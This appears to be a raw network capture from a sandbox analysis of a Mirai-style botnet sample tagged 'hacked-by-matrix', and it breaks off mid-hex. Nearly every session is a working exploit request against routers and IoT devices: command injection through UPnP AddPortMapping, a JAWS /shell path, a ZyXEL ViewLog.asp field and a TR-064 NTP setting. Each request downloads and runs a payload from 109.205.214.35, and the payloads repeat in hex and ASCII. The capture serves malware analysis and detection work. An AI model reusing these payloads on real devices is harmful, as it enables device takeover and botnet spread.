3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:50.519803047 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:14.835851908 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	43472	137.184.247.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.283214092 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	45962	148.139.19.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.397420883 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:28.556391001 CET	313	IN	HTTP/1.1 400 Bad Request Server: snow_adc Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 153 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 6e 6f 77 5f 61 64 63 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>snow_adc</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	37696	181.214.43.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.678356886 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	35104	86.171.46.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.177212954 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.369441986 CET	227	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="Login to e94ff6197390789dbe43c14f4a68c162", qop="auth", nonce="3894168614", opaque="" Connection: close Set-Cookie:secure; HttpOnly CONTENT-LENGTH: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	46230	213.205.32.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.331715107 CET	187	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	35462	121.165.34.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.484258890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	37660	80.188.16.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.586273909 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:30.518867970 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:30.700453997 CET	521	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:30 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 292 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	55212	213.21.239.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.599916935 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:30.198853016 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:30.806860924 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:31.000267982 CET	710	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:17:30 GMT Server: Content-Length: 527 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 